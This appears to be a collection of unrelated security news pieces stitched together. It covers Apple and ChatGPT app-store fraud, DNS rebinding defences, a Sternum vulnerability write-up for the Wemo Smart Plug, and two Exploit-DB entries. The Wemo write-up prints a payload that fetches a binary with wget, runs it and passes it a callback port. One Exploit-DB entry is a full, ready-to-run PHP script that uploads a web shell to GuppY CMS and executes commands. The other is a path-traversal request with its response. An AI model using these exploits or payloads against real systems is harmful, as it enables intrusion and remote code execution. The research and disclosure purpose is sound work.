Apple has announced that it prevented over $2 billion in potentially fraudulent transactions and rejected roughly 1.7 million app submissions for privacy and security violations in 2022.
The computing giant said it terminated 428,000 developer accounts for potential fraudulent activity, blocked 105,000 fake developer account creations, and deactivated 282 million bogus customer accounts. It

Mobile Security / App Sec

Apple has announced that it prevented over $2 billion in potentially fraudulent transactions and rejected roughly 1.7 million app submissions for privacy and security violations in 2022.

The computing giant said it terminated 428,000 developer accounts for potential fraudulent activity, blocked 105,000 fake developer account creations, and deactivated 282 million bogus customer accounts. It further noted that it thwarted 198 million attempted fraudulent new accounts prior to their creation.

In contrast, Apple is estimated to have booted out 802,000 developer accounts in 2021. The company attributed the decline to new App Store "methods and protocols" that prevent the creation of such accounts in the first place.

"In 2022, Apple protected users from nearly 57,000 untrustworthy apps from illegitimate storefronts," the company emphasized. "These unauthorized marketplaces distribute harmful software that can imitate popular apps or alter them without the consent of their developers."

It also touted its App Review process as having been able to flag apps using malicious code designed to steal users' credentials from third-party services as well as those that impersonated legitimate financial management platforms. A total of 6.1 million app submissions were reviewed.

"Over 153,000 app submissions rejected from the App Store last year were found to be spam, copycats, or misleading, and nearly 29,000 submissions were rejected for containing hidden or undocumented features," Apple said. "Upward of 400,000 app submissions were rejected for privacy violations."

On a related note, more than 147 million fraudulent ratings and reviews in the App Store were detected and blocked in 2022, with Apple intercepting close to 3.9 million attempts to install or launch apps distributed illicitly through its Developer Enterprise Program over the past 30 days alone.

Last but not least, Cupertino highlighted that it also blocked nearly 3.9 million stolen credit cards from being used to make fraudulent purchases, and banned 714,000 accounts from transacting again. In all, $2.09 billion in fraudulent transactions on the App Store were blocked in 2022.

The numbers come amid speculations that Apple may soon enable sideloading and allow third-party app stores on iOS devices to comply with the European Union's Digital Markets Act (DMA), which went into effect on November 1, 2022.

The disclosure also arrives close on the heels of a similar report from Google, which said it dismantled 173,000 bad accounts and blocked 1.43 million harmful apps from being published to the Play Store in 2022. It also fended off more than $2 billion in fraudulent and abusive transactions.

UPCOMING WEBINAR

Learn to Stop Ransomware with Real-Time Protection

Join our webinar and learn how to stop ransomware attacks in their tracks with real-time MFA and service account protection.

Save My Seat!

Despite these ongoing efforts by Apple and Google, threat actors have found a variety of ways to bypass security protections and publish their apps on the official app stores, often submitting innocuous apps to get past the vetting process and subsequently updating them with malicious functionality.

Earlier this February, app development company Mysk uncovered sketchy two-factor authentication (2FA) apps – one of them ranking at number five for "authenticator app" in the US App Store – that trick users into subscribing to a weekly or annual plan. Similar scam apps were reported in 2022.

"As bad actors evolve their dishonest tactics and methods of deception, Apple supplements its anti-fraud initiatives with feedback gleaned from a myriad of channels — from news stories to social media to AppleCare calls — and will continue to develop new approaches and tools designed to prevent fraud from harming App Store users and developers," the company said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Apple Thwarts $2 Billion in App Store Fraud, Rejects 1.7 Million App Submissions

A stack-based buffer overflow in the ChangeFriendlyName() function of Belkin Smart Outlet V2 F7c063 firmware_2.00.11420.OWRT.PVT_SNSV2 allows attackers to cause a Denial of Service (DoS) via a crafted UPNP request.

Part of our work at Sternum includes constant security research of IoT vulnerabilities to better understand IoT security gaps, boost the security capabilities of our platform and help device manufacturers improve their security postures.

In this post, we wanted to provide a behind-the-scenes look at our work and talk about our latest discovery—a buffer overflow vulnerability (CVE-2023-27217) in a Wemo Mini Smart Plug V2 (model F7C063) device.

Below, we will share the story of how we were able to reverse-engineer the device, gain firmware access, and leverage it to discover the security flaw.

Furthermore, we will demonstrate how this vulnerability could be exploited for remote command execution and offer some suggestions for security best practices that could have prevented the issue.

**TL;DR**

This will be a long post so as a public service, here are key points:

*   Wemo Mini Smart Plug V2 is a popular consumer device that helps users remote-control electric devices.
*   The device is managed by a mobile application that allows its user to change the device name (a.k.a. ‘FriendlyName’).
*   The name length is limited to 30 characters or less, but this rule is only enforced by the app itself.
*   Through reverse engineering, we saw that circumventing the character limit resulted in a buffer overflow.
*   Through experimentation, we learned that we could obtain a measure of control and predictability over how the overflow occurred.
*   Leveraging these findings, we were able to demonstrate how the vulnerability can be used for command injection.
*   We reached out to Belkin (the device manufacturer) with our findings. However, the company informed us that the device is at the end of its life and will not be patched. Meanwhile, it’s safe to assume that many of these devices are still deployed in the wild.
*   Following the company’s response, we reached out to MITRE and informed them of the vulnerability, leading to them issuing CVE-2023-27217.
*   We recommend that device users will take some precautions, specifically limiting the device’s exposure to the Internet and internal/sensitive networks.

**Wemo Mini Smart Plug: Simple and Popular**

The “star of the show” is a Wemo Mini Smart Plug, a simple and compact device built to provide remote control over lights and simple appliances (e.g., fan lamps) via a mobile app. The app uses Wi-Fi for communication and integrates with Alexa, Google Assistant, and Apple Home Kit while offering some additional features—for instance, a scheduling option.

_Wemo Mini Smart Plug (Source: Amazon)_

Our initial interest in the device came from having several of these lying around our lab and used at our homes, so we just wanted to see how safe (or not) they were to use.

It should be mentioned that, in general, this appears to be a pretty popular consumer device, judging by the 17K reviews and the 4-star rating it has on Amazon and other resources (e.g., this 4-star rating from TomsGuide). Based on these numbers, it’s safe to estimate that the total sales on Amazon alone should be in the hundreds of thousands.

**Gaining Firmware Access**

As we set out, our first step was to gain access to the device firmware, which required a bit of tinkering. We decided to document it in detail to give a glimpse into our work process.

Popping up the plastic case, we saw that the Smart Plug consisted of two boards: (1) the ‘high voltage’ board that connects to the power outlet and (2) the ‘low voltage’ board that contains the SoC, test headers, Wifi modules, etc.

Based on information available online, we knew that the previous version of the Smart Plug was running OpenWRT—a Linux distribution for embedded devices commonly used for routers—so we expected to find the same here as well.

Looking at the smaller board, we could see the MediaTek SoC and the Winbond 512MB DRAM chips, shown in the image below. The MediaTek MT7688AN features a 580Mhz MIPS24KEc CPU and a 2.4 GHz WIFI connectivity, which would allow the device to run a Linux-based OS.

On the other side of the board, we found the MXIC MX25L12835F chip, a 128MB serial flash EEPROM that held the firmware. Exactly what we were looking for!

To extract the firmware from the device, we used a simple 8-pin SOIC test clip, attaching it directly to the EEPROM, and then used a device programmer to extract the firmware, as seen below.

Once the firmware was successfully dumped, passing it through Binwalk revealed that the device was indeed running OpenWRT Linux with kernel version 3.18.27:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x73B5928B, created: 2022-12-08 13:49:43, image size: 1255269 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0x98F10FFF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.18.27"
64            0x40            LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3740700 bytes
1572864       0x180000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3607690 bytes, 672 inodes, blocksize: 262144 bytes, created: 2022-12-08 13:49:40

A quick look at the binary blob’s strings revealed the first interesting piece of information, which was the UART (Universal Asynchronous Receiver/Transmitter) configuration:

With these details, we had the gist of what was needed to gain ‘keyboard and screen’ access to the device. However, we could not find any documentation of any UART and JTAG pinouts anywhere online, so we had to figure these out ourselves.

Going over the various test headers on the device as it was booting eventually revealed the proper pinout of the UART connection, like so:

Once we connected successfully to the UART (Universal Asynchronous Receiver/Transmitter) interface, we were greeted with an OpenWRT login prompt. Unfortunately, the password for the root password was unknown to us and not published anywhere online.

We tried running John the Ripper on the hash to brute-force our way in, but this didn’t yield any results within a reasonable amount of time. However, since we had ‘keyboard and screen’ access to the device through the UART port, we could boot it into recovery mode (a.k.a. “single user” mode) and change the root password from there, thus gaining root access to a running system.

With access to the system, we could see the programs running on the device, how they work, which ports are open, and most importantly, set the password of the root user. This enabled us to gain SSH access to the device, which in turn allowed us to upload various tools to the device, such as GDB and gdbserver for debugging purposes.

Using the ps command to see which processes were running, one immediately caught our eye: **wemoApp**, created by Belkin.

**The “FriendlyName” Vulnerability**

Having already been using the application, we knew that one of its options was to define a name for the device. Here we can see “Wemo mini 6E9,” which was the default name of the device as it came out of the box.

This option for user input already had our Spidey senses tingling, especially when we saw that changing the name in the app came with some guardrails.

For us, this immediately raised two questions: “Says who?” and “What happens if we manage to make it more than 30 characters?”

To answer both, we decided to try and connect to a device via an alternative method, using pyWeMo, a community-built Python module for the discovery and control of WeMo devices, using the UPnP (Universal Plug and Play) protocol.

With pyWeMo, we tried to change the device name to something longer than 30 characters and were successful. This answered our first question, showing that the restriction was only enforced by the app itself and _not_ by the firmware code.

Strike one! Input validation like this should not be managed just on the “surface” level.

At this point, we also learned about the variable that held the device name—the so-called ‘FriendlyName’—which you can see in the image below:

The answer to our second question came quickly after. Running some experiments, we found out that all names longer than 68 bytes (and shorter than about 300 bytes) would cause a SIGSEGV crash, sending the device into a “boot loop”, as shown in the screenshot from UART below.

Further analysis revealed that the ‘FriendlyName’ variable was handled by the **wemo\_ctrl** and **wemoApp** processes. And, in almost all cases, the segmentation faults were in heap-related functions: malloc(), free(), realloc(), etc.

In an attempt to learn more about the impact that this had on the memory structure, we started to use names with repeated character “chunks,” for instance:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Tracking these chunks in memory, we saw the ‘FriendlyName’ being trimmed to different sizes. In one instance, we got to the offset of 804 bytes after malloc() in **libc** (actually **libuClibc-0.9.33.2.so**) and there we saw this entry:

lw $t0, 0xC($a3)

And here it was… “$a3”, which equals 0x66656463 or “cdef” in little-endian—letters 3 to 6 of our illegally long ‘FriendlyName.’

Strike two! What this proved is that the metadata of the heap was getting corrupted, and the corrupted values are being used in subsequent heap operations. But we still couldn’t tell the exact place in which the corruption and if (and how) it could be leveraged by a bad actor.

**Pinpointing the Breaking Point**

As we continued to analyze the crashes, we noticed that in one attempt, the control flow pivoted to the heap, resulting in an illegal instruction. We also saw that the heap was executable (because of course it was…).

Moreover, on another occasion, we also saw an incident of $pc (Extended Instruction Pointer) control from an overflow.

  
_Heap memory with rwxp (read, write & execute) permissions_

To keep track of these and other results, we developed a gdb script that printed all the internal states of the heap.The idea was to pinpoint the bug that causes the heap corruption with a process similar to a binary search. We would set a breakpoint in a location we suspected to be relevant. When that breakpoint would hit, we observed the state of the heap for signs of corruption. If we find any, we would know that the corruption happened before our breakpoint. Otherwise, we looked forward.

For example, the image below shows a corruption of the metadata with bytes from the illegal ‘FriendlyName’. Note the values in the last mchunk, with the **next** pointer spelling “cdef” (0x66656463), **prev** spelling “ghij” (0x6a696867), etc.

Another thing we noticed was that, because of ASLR (Address Space Layout Randomization), the library was loading at a different location after every crash, which interfered with our testing. To deal with the situation, we temporarily disabled ASLR using:

\`# echo 0 > /proc/sys/kernel/randomize\_va\_space\`

As soon as we did, the SIGSEGV crashes of the heap stopped. Instead, when we passed an 80-character long ‘FriendlyName’ using name[:80] as shown below, we got a crash in the memory stack.

The crash occurred at the 0x6e6d6c6b address—“klmn” in little-endian, characters \[76: 80\] of our ‘FriendlyName’. Meaning we have achieved some predictability and measure of control over the program flow.

This crash was a result of an unsafe call to strcpy() function from a buffer containing our ‘FriendlyName’ into the wemoStateUpdate() function in **wemo\_ctrl** executable. The stack buffer size of 0x44 (68 in decimal) was why names longer than 68 characters would cause a crash.

Immediately after the buffer, we could see the **$s0** register at an offset of \[68:72\], followed by the frame pointer **$fp** at an offset of \[72:76\], and then the return address **$ra** at an offset of \[76:80\].

As established above, the **$pc** was pointing to **$ra** (“klnm”) and there was no stack canary. Strike three.

It should be noted that the destination of the strcpy() function is not at the beginning of the FriendlyName buffer, but 4 bytes after the beginning of this buffer due to this opcode:

0x407530: addiu $v1, 4

This is why there were 0x44 bytes before the overflow onto the saved registers and not 0x48.

**The Exploit: Using ‘FriendlyName’ for Remote Command Injection**

After proving that we could cause a buffer overflow and control the resulting memory re-allocation, our next step was to see if we could exploit the vulnerability.

For that, we focused our efforts on the **wemo\_ctrl** executable because it was consistently loaded in the same address, even with ASLR turned on, unlike other libraries.

Our approach was to use a binary exploitation technique called ROP chains. The idea was that repeated attack attempts—even with ASLR being on—would lead to some instances in which we could cause a stack overflow without the heap corruption, crashing the process first.

The fact that **wemo\_ctrl** automatically restarted after every crash supported this approach, allowing us to keep trying again and again. The only downside was a ~10-second long period after the crash during which the UPnP interface was not responsive, which translated into a short delay between each of the “attack” attempts. However, this crash would be completely unnoticeable to the user in a real-world attack scenario.

Still, we had to deal with some limitations:

1.  The first issue is that the **wemo\_ctrl** loading address is in the low range of 0x00400000 to 0x00413000. Since we had to rely on the strcpy() for payload delivery, we were limited by the null terminator for the exploit. This meant that the null terminator had to be the most significant byte (MSB) of the return address at the end of our payload. As a result, we can only use one ROP gadget on the current stack, and the whole payload has to be 80 bytes or less.
2.  The second issue relates to the characters we can use in the payload. This is due to the limitations enforced by the UPnP library and the XML parser that our input goes through before reaching **wemoStateUpdate**. For example, we found that all bytes from 0x80 and above are not accepted, as well as some special characters like & or <. For our purposes, we had to treat this as some sort of unintended/partial input sanitization.
3.  Finally, we had to call the single chain with very limited control of registers— only **$s0**, **$fp**, or **$r**a. We still didn’t know where exactly our stack was because the overflow happened on a new secondary thread created to handle ChangeFriendlyName UPnP calls. In other words, even with ASLR disabled, there appear to be about 8-16 different possible **$sp** values we could encounter. We noticed in practice they were always some small multiple of 0x200000 apart from each other.

With the above in mind, we crafted the following payload and used it to make a call to system(), in **wemo\_ctrl**, in a function we named delete_dir():

;wget http://192.168.1.52:8080/r;chmod +x r;./r 192.168.1.52 4444# XK6w|I6wh:@

Our goal was to reach the call to **system** in address 0x403A90, with control over **$a0** or **$v0**, which both had NULL values when returned from **wemoStateUpdate**.

However, considering the 80-character limit, we could only jump as high as the 0x403A7C address. So we have to call the snprintf() first. Then, leaving $a0 as NULL is still a problem because then snprintf() would crash with a SEGFAULT, since the function’s first argument is the destination buffer. That means that instead, we have to return to an even earlier address: 0x403A68, highlighted in the image above. That’s the latest location for us to gain control of **$a0**.

There, conveniently for us, we noted that the format string of the snprintf() enabled a command injection (note the rm -rf %s at the 0x403A78 address in the image above).

The plan was to exploit this command injection by pointing the **$a0** register to the ‘FriendlyName’ payload as the snprintf() function was called. So while the payload started with the injection itself (wget http://192.168.1.52…) the rest of it was meant to shape the registers in a way that would cause this sequence to occur, like so:

*   **$a3** would contain the address of our FriendlyName. As shown in the image above, at 0x403A7C, it got the address from **$fp**, with the offset of 0x220.
*   **$s0** would be set by the payload to the stack address at the beginning of the FriendlyName. The fact that it would be saved to the **$s0** register is a non-important byproduct. The important part here is that the address would be stored in some location on the stack so that we can load it from there into $a3 at 0x403A7C.
*   **$fp** will be modified and set to 0x220 less than the stack address in $s0, to compensate for offset in 0x403A7C.
*   **$ra** would also be modified to 0x403A68, to run the injection (the h:@ at the tail end of the payload).

The screenshots below show how this all comes together:

Or alternatively…

It should be noted that the values in **$f**p and **$s0** represent our guesstimate of the stack address for the _FriendlyName_ and in the screenshot above, we guessed wrong. However, getting to the actual address (with ASLR turned off) would require a very minimal measure of trial-and-error due to the very limited (8 to 16) number of options.

Even with ALSR on, however, we believe that it would be possible to brute-force our way to the correct address and exploit the vulnerability, especially since the only side effect of a wrong guess would be a very brief and transparent crash.

**Disclosure Timeline and Security Advisory**

*   On January 9th, 2023, we disclosed the vulnerability to Belkin via Bugcrowd.
*   On February 22nd, Belkin replied that the device is at the end of its life and, as a result, the vulnerability will not be addressed.
*   Following some additional back-and-forth on March 14, we informed MITRE of the vulnerability, leading to them issuing CVE-2023-27217.

Since there will be no patch to address this issue, we recommend the following:

1.  Avoid exposing the Wemo Smart Plug V2 UPNP ports to the internet, either directly or via port forwarding.
2.  If you are using the Smart Plug V2 in a sensitive network, you should ensure that it is properly segmented, and that device cannot communicate with other sensitive devices on the same subnet.

**Note:** While this wasn’t in the scope of our research, from what we have gathered, it appears that this vulnerability could be triggered via the Cloud interface (meaning, without a direct connection to the device).

This further highlights the need for the abovementioned steps, as the Wemo Cloud infrastructure could be used as a potential attack vector.

CVE-2023-27217: ‘FriendlyName’ Buffer Overflow Vulnerability in Wemo Smart Plug V2 | Sternum

DNS rebinding attacks are not often seen in the wild, which is one reason why browser makers have taken a slower approach to adopting the web security standard.

Browser companies and network-security vendors have created a variety of defenses for the three-decades-old attack technique known as DNS rebinding, but protection remains spotty due to uneven acceptance and updated exploitation techniques.

DNS rebinding — which allows external malicious sites visited by an unsuspecting victim to access internal servers and services —is similar to cross-site request forgery, where an attacker can use a JavaScript component or Java applet to request resources from another site or network. DNS rebinding typically works by attracting a user to a malicious website and using the site's content and a short time-to-live (TTL) to force the browser to send a new domain name system (DNS) request, to which the attacker's site responds with an internal network IP address. The attack essentially allows an attacker to use a victim's browser to send requests to servers and devices on the internal network.

The attack, however, can be made harder to execute with a variety of defenses, including enforcing the Same-Origin Policy by pinning the domain name in the browser, looking for anomalous requests through the targeted user's DNS service, and adopting Local Network Access, a proposed Web security standard by the World Wide Web Consortium (W3C) that blocks DNS-based attacks. While these defenses work to make DNS rebinding attacks more difficult, they can be bypassed under some circumstances, NCC Group said in a recent report.

Because DNS rebinding exposes the attack surfaces of internal Web applications to malicious websites, the attack could be useful against enterprise targets as a way to gain access to credential data and resources hosted on internal networks, says Zhanhao Chen, a principal researcher for network security at Palo Alto Networks.

"In the real world, the attacker can build a website with a DNS rebinding script and trick the victim to open it in their browser," he says. "Once the malicious website is open on an employee's browser, the attacker can manipulate or steal information from internal Web applications that are vulnerable."

**DNS Rebinding Attacks Face Difficult Defenses**

Every browser does some form of DNS pinning, preventing the assigning of new network addresses for a specific website or host name for a certain time period, such as an hour. DNS-based security services, such as Cisco's Umbrella, also prevent anomalous changes in DNS data using suspicious response filters, which identify potential attacks and stop them.

The W3C's Local Network Access spec, previously called "Private Network Access," places a barriers between global, local, and internal addresses, such as the loopback address for the local host, and forces services to gain permission to explicitly access the local network.

In the latest analysis published by NCC Group, however, Roger Meyer, a technical director at NCC Group, argues that the defenses still are not complete. Using the 0.0.0.0 address, which can access Linux and Mac OS systems' internal IP address, for example, bypasses the current Local Network Access protections, Meyer says.

"Usually, that specific 0.0.0.0 IP address is non-routable and should not work as an IP address. You should not be able to even use it for accessing anything, but it just works on Mac OS and Linux devices," he says.

NCC Group opened up a bug report with Google, an early adopter of the Local Network Access specification, to get the issue fixed in the Chromium codebase, Meyer says.

**Bolstering Defenses**

DNS rebinding attacks are not often seen in the wild, which is one reason why browser makers have taken a slower approach to mitigating the issue. Another is that companies do not want to break internal applications, whose developers may rely on the ability to handle cross-origin requests.

If Web application developers adopt the HTTPS encrypted Web protocols as a general rule, they can prevent their applications from being used in a DNS rebinding attack, says Palo Alto Networks' Chen.

"This kind of mitigation depends on the developer of internal services, \[so\] it is not scalable," he says. "As third-party Web applications populate in both home and enterprise environments, it's more difficult for the network owners to identify and fix all potentially vulnerable servers."

While DNS rebinding is not as common as other widely spread threats, such as DNS tunneling, domain-generation algorithms, DNS amplification denial-of-service attacks, and DNS hijacking, many Web applications remain vulnerable to DNS rebinding, and attackers are actively exploiting it, Chen says. Palo Alto Networks noted that seven DNS-binding-related CVEs were released in 2021 and nine in 2022, and the company continues to see attack traffic in the wild.

Companies can help bolster their defenses by using DNS services that detect attacks and help remote employees protect their at-home environments. Because an attacker needs to either know information about the victim's environment or know they are using common devices or applications, those common services should be hardened against attack, NCC Group's Meyer says.

"There are ways to discover if there are vulnerable services on the network or on employee devices, so the company could scan the network to find those vulnerable services," he says. "There are intrusion detection systems or other kinds of security software that can look for services listening on developer machines or any other employees' systems, and any services that are listening on a localhost are potentially vulnerable to DNS rebinding."

Rebinding Attacks Persist With Spotty Browser Defenses

The mobile phone and MacBook giant also rejected nearly 1.7 million app submissions last year in an effort to root out malware and fraud.

The Apple App Store supports more than 36 million registered Apple developers, but not all of those coding partners are benign. In a report on App Store safety this week, the computing giant noted that last year it booted nearly a half-million (428,000) developer accounts from the platform for carrying out fraud and abuse.

Apple said that in all, it prevented more than $2 billion in potentially fraudulent transactions in 2022, rejecting nearly 1.7 million app submissions for privacy violations, spammy or misleading features, or containing hidden or undocumented capabilities.

It also dismantled 282 million customer accounts for fraud and blocked nearly 105,000 Apple Developer Program enrollments for suspected malicious activities before they could submit apps to the App Store. And it detected and blocked more than 147 million fraudulent ratings and reviews.

**Enterprise App Bust**

On a separate note, in the last 30 days, Apple said that it blocked close to 3.9 million attempts to install or launch apps distributed illicitly through the Developer Enterprise Program, which allows large organizations to deploy internal apps for use by employees.

"Apple performs a number of safety checks on every app before it makes its way onto the App Store," the mobile behemoth noted in its App Store misuse report. "On average, the team reviews over 100,000 app submissions a week, with nearly 90 percent of them receiving a review within 24 hours."

The stats come hard on the heels of a similar report from Google, in which it said it banned 173,000 developer accounts from Google Play in 2022.

Despite best efforts, both Apple and Google have wrestled with malicious apps making their way into their official app stores. Cybercriminals are constantly improving their tactics, including submitting benign apps to make it past filters, which they update later with malicious functionality. App stores catch up to such tricks eventually (Google has implemented AI patrols, for instance), but it continues to be a game of whack-a-mole to root out the offenders.

"Apple's work to keep the App Store a safe and trusted place for users and developers is never done," Apple asserted in its report. "As bad actors evolve their dishonest tactics and methods of deception, Apple supplements its antifraud initiatives with feedback gleaned from a myriad of channels — from news stories to social media to AppleCare calls — and will continue to develop new approaches and tools designed to prevent fraud from harming App Store users and developers."

Apple Boots a Half-Million Developers From Official App Store

GuppY CMS 6.00.10 is vulnerable to Unrestricted File Upload which allows remote attackers to execute arbitrary code by uploading a php file.

**GuppY CMS v6.00.10 - Remote Code Execution**

**Platform:****PHP**

**Date:****2023-03-25**

  

    # Exploit Title: GuppY CMS v6.00.10 - Remote Code Execution
    # Date: Sep 30, 2022
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.freeguppy.org/
    # Software Link:
    https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2
    # Version: 6.00.10
    # Tested on: Linux
    
    #!/usr/bin/php
    
    <?php
    
    $username = "Admin2"; //Administrator username
    $password = "rose1337"; //Administrator password
    
    
    $options = getopt('u:c:');
    
    if(!isset($options['u'], $options['c']))
    die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi
    \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n
    
    \n");
    
    $target     =  $options['u'];
    
    $command    =  $options['c'];
    
    // Administrator login
    
    $cookie="cookie.txt";
    $url = "{$target}guppy/connect.php";
    
    $postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;
    $curlObj = curl_init();
    
    curl_setopt($curlObj, CURLOPT_URL, $url);
    curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curlObj, CURLOPT_HEADER, 1);
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt ($curlObj, CURLOPT_POST, 1);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
    CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
    CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
    curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
    curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
    $result = curl_exec($curlObj);
    
    
    // uploading shell
    
    $url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";
    
    $post='------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="rep"
    
    file
    ------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="ficup"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php system($_GET["cmd"]); ?>
    
    ------WebKitFormBoundarygA1APFcUlkIaWal4--
    ';
    
    $headers = array(
    
    
                'Content-Type: multipart/form-data;
    boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
    
                'Accept-Encoding: gzip, deflate',
                'Accept-Language: en-US,en;q=0.9'
    );
    curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curlObj, CURLOPT_URL, $url2);
    curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);
    curl_setopt($curlObj, CURLOPT_POST, true);
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
    CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
    CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
    curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
    curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
    
    $data = curl_exec($curlObj);
    
    
    // Executing the shell
    
    
    $shell = "{$target}guppy/file/shell.php?cmd=" .$command;
    curl_setopt($curlObj, CURLOPT_URL, $shell);
    curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:
    application/x-www-form-urlencoded'));
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    curl_setopt($curlObj, CURLOPT_HEADER, False);
    curl_setopt($curlObj, CURLOPT_POST, false);
    
    $exec_shell = curl_exec($curlObj);
    
    $code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);
    
    if($code != 200) {
        echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check the
    credentials\n";
    }
    else {
    
    print("\n");
    print($exec_shell);
    
    }
    curl_close($curlObj);
    
    ?>

CVE-2023-31903: OffSec’s Exploit Database Archive

savysoda Wifi HD Wireless Disk Drive 11 is vulnerable to Local File Inclusion.

    # Exploit Title: Wifi HD Wireless Disk Drive 11 - Local File Inclusion
    # Date: Aug 13, 2022
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: http://www.savysoda.com
    # Software Link: https://apps.apple.com/us/app/wifi-hd-wireless-disk-drive/id311170976
    # Version: 11
    # Tested on: iPhone OS 15_5
    
    # Proof of Concept
    GET /../../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
    Host: 192.168.1.100
    Connection: close
    Upgrade-Insecure-Requests: 1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X)
    AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5  Safari/604.1
    Referer: http://192.168.1.103/
    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
    Accept-Encoding: gzip, deflate
    
    
    -----------------
    
    HTTP/1.1 200 OK
    Content-Disposition: attachment
    Content-Type: application/download
    Content-Length: 213
    Accept-Ranges: bytes
    Date: Sat, 13 Aug 2022 03:33:30 GMT
    
    ##
    # Host Database
    #
    # localhost is used to configure the loopback interface
    # when the system is booting.  Do not change this entry.
    ##
    127.0.0.1 localhost
    255.255.255.255 broadcasthost
    ::1             localhost

CVE-2023-31904: OffSec’s Exploit Database Archive

An explosion of interest in OpenAI’s sophisticated chatbot means a proliferation of “fleeceware” apps that trick users with sneaky in-app subscriptions.

Any major trend or world event, from the coronavirus pandemic to the cryptocurrency frenzy, will quickly be used as fodder in digital phishing attacks and other online scams. In recent months, it has become clear that the same would happen for large language models and generative AI. Today, researchers from the security firm Sophos are warning that the latest incarnation of this is showing up in Google Play and Apple’s App Store, where scammy apps are pretending to offer access to OpenAI’s chatbot service ChatGPT through free trials that eventually start charging subscription fees.

There are paid versions of OpenAI’s GPT and ChatGPT for regular users and developers, but anyone can try the AI chatbot for free on the company’s website. The scam apps take advantage of people who have heard about this new technology—and perhaps the frenzy of people clamoring to use it—but don’t have much additional context for how to try it themselves. The researchers first learned about the scam apps after seeing ads for them in news apps and on social networks, but users may also encounter them by searching in Google Play and the App Store.

“I saw multiple ads for these types of apps on social media platforms where it’s cheap to advertise, and sometimes they use tactics like typos in the name—calling the app ‘Chat GBT’ or others—to screen out people who might be a bit more savvy,” says Sean Gallagher, a senior threat researcher at Sophos. “They’re trying to screen out people who would do the free trial and then cancel it because it’s crap. They want the people who are not focused enough to know how to unsubscribe.”

Such scams are known as fleeceware. And these apps, which hook victims into paying a regular weekly or monthly fee, are difficult to stamp out, because they typically don't exhibit the technically invasive and malicious behavior that would get more explicit malware booted. When scammers submit their apps to Apple and Google for review, the researchers note, they may not include all of the details on the subscription pricing and when users will have to pay to continue receiving functionality. Later, they can revise their demands without changing anything about how the app is engineered.

Google and Apple provide mechanisms for developers to offer in-app purchases, both one-time fees and recurring charges. And these companies get a cut every time apps in their app stores collect payments from users.

In the case of the Android app Open Chat GBT, users could download the app for free but were quickly confronted with huge quantities of ads and could try the chatbot only three times before losing access to its functionality and receiving a prompt to subscribe. By default, users could sign up for a three-day free trial to continue using the app, which would then become a monthly $10 subscription. Open Chat GBT also offered a $30 annual subscription. The researchers found a very similar app with a different name by the same developer for iOS in the App Store.

The Sophos researchers note that Apple and Google took down some of the fake AI chatbot apps they were looking at before disclosure. There were others, though, that remained available after the researchers flagged them to Google and Apple. Both companies acknowledged receipt of the submissions, and Google took down one more app. Google and Apple did not immediately respond to requests for comment about the findings.

The researchers say they suspect that some of the apps use OpenAI’s ChatGPT 3 application programming interface to generate content for users while others use lower-quality chatbot functionalities. And instead of limiting the user to a small number of queries, some of the apps would truncate responses and give users only a snippet until they started a subscription.

Gallagher says that one of the biggest problems with fleeceware is that users don't always know how to manage their subscriptions and don't realize that even when they delete an app, their recurring payments will continue to be active with the service.

